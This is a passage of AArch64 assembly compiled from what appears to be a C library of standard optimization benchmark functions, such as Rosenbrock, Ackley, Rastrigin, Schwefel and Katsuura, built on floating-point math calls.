ldr x0, [sp, 56]
bl sr_func
str wzr, [sp, 76]
b .L107
.L108:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fabs d0, d0
ldr w0, [sp, 76]
lsl w1, w0, 2
ldr w0, [sp, 44]
sub w0, w0, #1
sdiv w0, w1, w0
add w0, w0, 2
scvtf d1, w0
bl pow
fmov d1, d0
ldr x0, [sp, 48]
ldr d0, [x0]
fadd d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L107:
ldr w1, [sp, 76]
ldr w0, [sp, 44]
cmp w1, w0
blt .L108
ldr x0, [sp, 48]
ldr d0, [x0]
fmov d1, 5.0e-1
bl pow
ldr x0, [sp, 48]
str d0, [x0]
nop
ldp x29, x30, [sp], 80
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE15:
.size dif_powers_func, .-dif_powers_func
.align 2
.global rosenbrock_func
.type rosenbrock_func, %function
rosenbrock_func:
.LFB16:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
str w6, [sp, 20]
ldr x0, [sp, 48]
str xzr, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 20]
ldr w5, [sp, 40]
adrp x1, .LC31
ldr d0, [x1, #:lo12:.LC31]
ldr x4, [sp, 24]
ldr x3, [sp, 32]
ldr w2, [sp, 44]
mov x1, x0
ldr x0, [sp, 56]
bl sr_func
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
fmov d0, 1.0e+0
fadd d0, d1, d0
str d0, [x0]
str wzr, [sp, 76]
b .L110
.L111:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
add x0, x0, 1
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
add x0, x0, 1
lsl x0, x0, 3
add x0, x1, x0
fmov d0, 1.0e+0
fadd d0, d1, d0
str d0, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d1, d1, d0
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
add x0, x0, 1
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fsub d0, d1, d0
str d0, [sp, 80]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 76]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
fmov d0, 1.0e+0
fsub d0, d1, d0
str d0, [sp, 88]
ldr x0, [sp, 48]
ldr d1, [x0]
ldr d0, [sp, 80]
mov x0, 4636737291354636288
fmov d2, x0
fmul d2, d0, d2
ldr d0, [sp, 80]
fmul d2, d2, d0
ldr d0, [sp, 88]
fmul d0, d0, d0
fadd d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 48]
str d0, [x0]
ldr w0, [sp, 76]
add w0, w0, 1
str w0, [sp, 76]
.L110:
ldr w0, [sp, 44]
sub w0, w0, #1
ldr w1, [sp, 76]
cmp w1, w0
blt .L111
nop
nop
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE16:
.size rosenbrock_func, .-rosenbrock_func
.align 2
.global schaffer_F7_func
.type schaffer_F7_func, %function
schaffer_F7_func:
.LFB17:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str x19, [sp, 16]
str d8, [sp, 24]
.cfi_offset 19, -80
.cfi_offset 72, -72
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str w5, [sp, 56]
str w6, [sp, 36]
ldr x0, [sp, 64]
str xzr, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 36]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 84]
b .L113
.L114:
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d1, d1, d0
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 84]
add x0, x0, 1
lsl x0, x0, 3
add x0, x1, x0
ldr d2, [x0]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 84]
add x0, x0, 1
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d0, d2, d0
fadd d0, d1, d0
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x19, x1, x0
fmov d1, 5.0e-1
bl pow
str d0, [x19]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
adrp x0, .LC32
ldr d1, [x0, #:lo12:.LC32]
bl pow
mov x0, 4632233691727265792
fmov d1, x0
fmul d0, d0, d1
bl sin
str d0, [sp, 88]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmov d1, 5.0e-1
bl pow
fmov d8, d0
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmov d1, 5.0e-1
bl pow
fmov d1, d0
ldr d0, [sp, 88]
fmul d1, d1, d0
ldr d0, [sp, 88]
fmul d0, d1, d0
fadd d1, d8, d0
ldr x0, [sp, 64]
ldr d0, [x0]
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L113:
ldr w0, [sp, 60]
sub w0, w0, #1
ldr w1, [sp, 84]
cmp w1, w0
blt .L114
ldr x0, [sp, 64]
ldr d1, [x0]
ldr x0, [sp, 64]
ldr d0, [x0]
fmul d1, d1, d0
ldr w0, [sp, 60]
sub w0, w0, #1
scvtf d0, w0
fdiv d1, d1, d0
ldr w0, [sp, 60]
sub w0, w0, #1
scvtf d0, w0
fdiv d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
nop
ldr d8, [sp, 24]
ldr x19, [sp, 16]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_restore 19
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE17:
.size schaffer_F7_func, .-schaffer_F7_func
.align 2
.global ackley_func
.type ackley_func, %function
ackley_func:
.LFB18:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -96
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str w5, [sp, 56]
str w6, [sp, 36]
str xzr, [sp, 96]
str xzr, [sp, 104]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 36]
ldr w5, [sp, 56]
fmov d0, 1.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 92]
b .L116
.L117:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d0, d1, d0
ldr d1, [sp, 96]
fadd d0, d1, d0
str d0, [sp, 96]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
adrp x0, .LC30
ldr d1, [x0, #:lo12:.LC30]
fmul d0, d0, d1
bl cos
fmov d1, d0
ldr d0, [sp, 104]
fadd d0, d0, d1
str d0, [sp, 104]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L116:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L117
ldr w0, [sp, 60]
scvtf d0, w0
ldr d1, [sp, 96]
fdiv d0, d1, d0
bl sqrt
adrp x0, .LC33
ldr d1, [x0, #:lo12:.LC33]
fmul d0, d0, d1
str d0, [sp, 96]
ldr w0, [sp, 60]
scvtf d0, w0
ldr d1, [sp, 104]
fdiv d0, d1, d0
str d0, [sp, 104]
ldr d0, [sp, 96]
bl exp
fmov d1, d0
fmov d0, 2.0e+1
fmul d0, d1, d0
adrp x0, .LC34
ldr d1, [x0, #:lo12:.LC34]
fsub d8, d1, d0
ldr d0, [sp, 104]
bl exp
fsub d1, d8, d0
fmov d0, 2.0e+1
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
nop
ldr d8, [sp, 16]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE18:
.size ackley_func, .-ackley_func
.align 2
.global weierstrass_func
.type weierstrass_func, %function
weierstrass_func:
.LFB19:
.cfi_startproc
stp x29, x30, [sp, -128]!
.cfi_def_cfa_offset 128
.cfi_offset 29, -128
.cfi_offset 30, -120
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -112
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str w5, [sp, 56]
str w6, [sp, 36]
fmov d0, 5.0e-1
str d0, [sp, 112]
fmov d0, 3.0e+0
str d0, [sp, 120]
mov w0, 20
str w0, [sp, 92]
ldr x0, [sp, 64]
str xzr, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 36]
ldr w5, [sp, 56]
adrp x1, .LC35
ldr d0, [x1, #:lo12:.LC35]
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 84]
b .L119
.L122:
str xzr, [sp, 96]
str xzr, [sp, 104]
str wzr, [sp, 88]
b .L120
.L121:
ldr w0, [sp, 88]
scvtf d0, w0
fmov d1, d0
ldr d0, [sp, 112]
bl pow
fmov d8, d0
ldr w0, [sp, 88]
scvtf d0, w0
fmov d1, d0
ldr d0, [sp, 120]
bl pow
adrp x0, .LC30
ldr d1, [x0, #:lo12:.LC30]
fmul d1, d0, d1
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d2, [x0]
fmov d0, 5.0e-1
fadd d0, d2, d0
fmul d0, d1, d0
bl cos
fmul d0, d8, d0
ldr d1, [sp, 96]
fadd d0, d1, d0
str d0, [sp, 96]
ldr w0, [sp, 88]
scvtf d0, w0
fmov d1, d0
ldr d0, [sp, 112]
bl pow
fmov d8, d0
ldr w0, [sp, 88]
scvtf d0, w0
fmov d1, d0
ldr d0, [sp, 120]
bl pow
adrp x0, .LC30
ldr d1, [x0, #:lo12:.LC30]
fmul d1, d0, d1
fmov d0, 5.0e-1
fmul d0, d1, d0
bl cos
fmul d0, d8, d0
ldr d1, [sp, 104]
fadd d0, d1, d0
str d0, [sp, 104]
ldr w0, [sp, 88]
add w0, w0, 1
str w0, [sp, 88]
.L120:
ldr w1, [sp, 88]
ldr w0, [sp, 92]
cmp w1, w0
ble .L121
ldr x0, [sp, 64]
ldr d1, [x0]
ldr d0, [sp, 96]
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L119:
ldr w1, [sp, 84]
ldr w0, [sp, 60]
cmp w1, w0
blt .L122
ldr x0, [sp, 64]
ldr d1, [x0]
ldr w0, [sp, 60]
scvtf d2, w0
ldr d0, [sp, 104]
fmul d0, d2, d0
fsub d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
nop
ldr d8, [sp, 16]
ldp x29, x30, [sp], 128
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE19:
.size weierstrass_func, .-weierstrass_func
.align 2
.global griewank_func
.type griewank_func, %function
griewank_func:
.LFB20:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -96
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str w5, [sp, 56]
str w6, [sp, 36]
str xzr, [sp, 96]
fmov d0, 1.0e+0
str d0, [sp, 104]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 36]
ldr w5, [sp, 56]
fmov d0, 6.0e+0
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 92]
b .L124
.L125:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d0, d1, d0
ldr d1, [sp, 96]
fadd d0, d1, d0
str d0, [sp, 96]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d8, [x0]
ldr w0, [sp, 92]
scvtf d1, w0
fmov d0, 1.0e+0
fadd d0, d1, d0
bl sqrt
fdiv d0, d8, d0
bl cos
fmov d1, d0
ldr d0, [sp, 104]
fmul d0, d0, d1
str d0, [sp, 104]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L124:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L125
mov x0, 70368744177664
movk x0, 0x40af, lsl 48
fmov d1, x0
ldr d0, [sp, 96]
fdiv d1, d0, d1
fmov d0, 1.0e+0
fadd d1, d1, d0
ldr d0, [sp, 104]
fsub d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
nop
ldr d8, [sp, 16]
ldp x29, x30, [sp], 112
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE20:
.size griewank_func, .-griewank_func
.align 2
.global rastrigin_func
.type rastrigin_func, %function
rastrigin_func:
.LFB21:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
stp d8, d9, [sp, 16]
.cfi_offset 72, -80
.cfi_offset 73, -72
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str w5, [sp, 56]
str w6, [sp, 36]
ldr x0, [sp, 64]
str xzr, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 36]
ldr w5, [sp, 56]
adrp x1, .LC36
ldr d0, [x1, #:lo12:.LC36]
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 92]
b .L127
.L128:
ldr x0, [sp, 64]
ldr d8, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d9, d1, d0
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
adrp x0, .LC30
ldr d1, [x0, #:lo12:.LC30]
fmul d0, d0, d1
bl cos
fmov d1, d0
fmov d0, 1.0e+1
fmul d0, d1, d0
fsub d1, d9, d0
fmov d0, 1.0e+1
fadd d0, d1, d0
fadd d0, d8, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L127:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L128
nop
nop
ldp d8, d9, [sp, 16]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_restore 73
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE21:
.size rastrigin_func, .-rastrigin_func
.align 2
.global step_rastrigin_func
.type step_rastrigin_func, %function
step_rastrigin_func:
.LFB22:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
stp d8, d9, [sp, 16]
.cfi_offset 72, -80
.cfi_offset 73, -72
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str w5, [sp, 56]
str w6, [sp, 36]
ldr x0, [sp, 64]
str xzr, [x0]
str wzr, [sp, 92]
b .L130
.L133:
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr d0, [x0]
fsub d0, d1, d0
fabs d1, d0
fmov d0, 5.0e-1
fcmpe d1, d0
bgt .L136
b .L131
.L136:
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr d8, [x0]
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
ldr x1, [sp, 48]
add x0, x1, x0
ldr d0, [x0]
fsub d0, d1, d0
fadd d1, d0, d0
fmov d0, 5.0e-1
fadd d0, d1, d0
bl floor
fmov d1, d0
fmov d0, 2.0e+0
fdiv d0, d1, d0
adrp x0, y
add x0, x0, :lo12:y
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
fadd d0, d8, d0
str d0, [x0]
.L131:
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L130:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L133
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 36]
ldr w5, [sp, 56]
adrp x1, .LC36
ldr d0, [x1, #:lo12:.LC36]
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 92]
b .L134
.L135:
ldr x0, [sp, 64]
ldr d8, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d1, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fmul d9, d1, d0
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 92]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
adrp x0, .LC30
ldr d1, [x0, #:lo12:.LC30]
fmul d0, d0, d1
bl cos
fmov d1, d0
fmov d0, 1.0e+1
fmul d0, d1, d0
fsub d1, d9, d0
fmov d0, 1.0e+1
fadd d0, d1, d0
fadd d0, d8, d0
ldr x0, [sp, 64]
str d0, [x0]
ldr w0, [sp, 92]
add w0, w0, 1
str w0, [sp, 92]
.L134:
ldr w1, [sp, 92]
ldr w0, [sp, 60]
cmp w1, w0
blt .L135
nop
nop
ldp d8, d9, [sp, 16]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_restore 73
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE22:
.size step_rastrigin_func, .-step_rastrigin_func
.align 2
.global schwefel_func
.type schwefel_func, %function
schwefel_func:
.LFB23:
.cfi_startproc
stp x29, x30, [sp, -96]!
.cfi_def_cfa_offset 96
.cfi_offset 29, -96
.cfi_offset 30, -88
mov x29, sp
str d8, [sp, 16]
.cfi_offset 72, -80
str x0, [sp, 72]
str x1, [sp, 64]
str w2, [sp, 60]
str x3, [sp, 48]
str x4, [sp, 40]
str w5, [sp, 56]
str w6, [sp, 36]
ldr x0, [sp, 64]
str xzr, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 36]
ldr w5, [sp, 56]
fmov d0, 1.0e+1
ldr x4, [sp, 40]
ldr x3, [sp, 48]
ldr w2, [sp, 60]
mov x1, x0
ldr x0, [sp, 72]
bl sr_func
str wzr, [sp, 84]
b .L138
.L144:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
adrp x1, .LC37
ldr d1, [x1, #:lo12:.LC37]
fadd d0, d0, d1
str d0, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
mov x0, 70368744177664
movk x0, 0x407f, lsl 48
fmov d1, x0
fcmpe d0, d1
bgt .L145
b .L147
.L145:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
mov x0, 70368744177664
movk x0, 0x407f, lsl 48
fmov d1, x0
bl fmod
mov x0, 70368744177664
movk x0, 0x407f, lsl 48
fmov d1, x0
fsub d8, d1, d0
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
mov x0, 70368744177664
movk x0, 0x407f, lsl 48
fmov d1, x0
bl fmod
mov x0, 70368744177664
movk x0, 0x407f, lsl 48
fmov d1, x0
fsub d0, d1, d0
fmov d1, 5.0e-1
bl pow
bl sin
fmul d0, d8, d0
ldr x0, [sp, 64]
ldr d1, [x0]
fsub d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
mov x0, 70368744177664
movk x0, 0x407f, lsl 48
fmov d1, x0
fsub d0, d0, d1
mov x0, 4636737291354636288
fmov d1, x0
fdiv d0, d0, d1
str d0, [sp, 88]
ldr x0, [sp, 64]
ldr d1, [x0]
ldr d0, [sp, 88]
fmul d2, d0, d0
ldr w0, [sp, 60]
scvtf d0, w0
fdiv d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
b .L141
.L147:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
mov x0, 70368744177664
movk x0, 0xc07f, lsl 48
fmov d1, x0
fcmpe d0, d1
bmi .L146
b .L148
.L146:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fabs d0, d0
mov x0, 70368744177664
movk x0, 0x407f, lsl 48
fmov d1, x0
bl fmod
mov x0, 70368744177664
movk x0, 0x407f, lsl 48
fmov d1, x0
fsub d8, d0, d1
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fabs d0, d0
mov x0, 70368744177664
movk x0, 0x407f, lsl 48
fmov d1, x0
bl fmod
mov x0, 70368744177664
movk x0, 0x407f, lsl 48
fmov d1, x0
fsub d0, d1, d0
fmov d1, 5.0e-1
bl pow
bl sin
fmul d0, d8, d0
ldr x0, [sp, 64]
ldr d1, [x0]
fsub d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
mov x0, 70368744177664
movk x0, 0x407f, lsl 48
fmov d1, x0
fadd d0, d0, d1
mov x0, 4636737291354636288
fmov d1, x0
fdiv d0, d0, d1
str d0, [sp, 88]
ldr x0, [sp, 64]
ldr d1, [x0]
ldr d0, [sp, 88]
fmul d2, d0, d0
ldr w0, [sp, 60]
scvtf d0, w0
fdiv d0, d2, d0
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
b .L141
.L148:
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d8, [x0]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 84]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
fabs d0, d0
fmov d1, 5.0e-1
bl pow
bl sin
fmul d0, d8, d0
ldr x0, [sp, 64]
ldr d1, [x0]
fsub d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
.L141:
ldr w0, [sp, 84]
add w0, w0, 1
str w0, [sp, 84]
.L138:
ldr w1, [sp, 84]
ldr w0, [sp, 60]
cmp w1, w0
blt .L144
ldr x0, [sp, 64]
ldr d1, [x0]
ldr w0, [sp, 60]
scvtf d0, w0
adrp x0, .LC38
ldr d2, [x0, #:lo12:.LC38]
fmul d0, d0, d2
fadd d0, d1, d0
ldr x0, [sp, 64]
str d0, [x0]
nop
ldr d8, [sp, 16]
ldp x29, x30, [sp], 96
.cfi_restore 30
.cfi_restore 29
.cfi_restore 72
.cfi_def_cfa_offset 0
ret
.cfi_endproc
.LFE23:
.size schwefel_func, .-schwefel_func
.align 2
.global katsuura_func
.type katsuura_func, %function
katsuura_func:
.LFB24:
.cfi_startproc
stp x29, x30, [sp, -112]!
.cfi_def_cfa_offset 112
.cfi_offset 29, -112
.cfi_offset 30, -104
mov x29, sp
str x0, [sp, 56]
str x1, [sp, 48]
str w2, [sp, 44]
str x3, [sp, 32]
str x4, [sp, 24]
str w5, [sp, 40]
str w6, [sp, 20]
ldr x0, [sp, 48]
fmov d0, 1.0e+0
str d0, [x0]
ldr w0, [sp, 44]
scvtf d0, w0
mov x0, 3689348814741910323
movk x0, 0x3ff3, lsl 48
fmov d1, x0
bl pow
str d0, [sp, 88]
adrp x0, z
add x0, x0, :lo12:z
ldr x0, [x0]
ldr w6, [sp, 20]
ldr w5, [sp, 40]
adrp x1, .LC39
ldr d0, [x1, #:lo12:.LC39]
ldr x4, [sp, 24]
ldr x3, [sp, 32]
ldr w2, [sp, 44]
mov x1, x0
ldr x0, [sp, 56]
bl sr_func
str wzr, [sp, 72]
b .L150
.L153:
str xzr, [sp, 80]
mov w0, 1
str w0, [sp, 76]
b .L151
.L152:
ldr w0, [sp, 76]
scvtf d0, w0
fmov d1, d0
fmov d0, 2.0e+0
bl pow
str d0, [sp, 96]
adrp x0, z
add x0, x0, :lo12:z
ldr x1, [x0]
ldrsw x0, [sp, 72]
lsl x0, x0, 3
add x0, x1, x0
ldr d0, [x0]
ldr d1, [sp, 96]
fmul d0, d1, d0
str d0, [sp, 104]
ldr d1, [sp, 104]
fmov d0, 5.0e-1
fadd d0, d1, d0
bl floor
fmov d1, d0
ldr d0, [sp, 104]
fsub d0, d0, d1
fabs d1, d0
ldr d0, [sp, 96]
fdiv d0, d1, d0
ldr d1, [sp, 80]
fadd d0, d1, d0
str d0, [sp, 80]
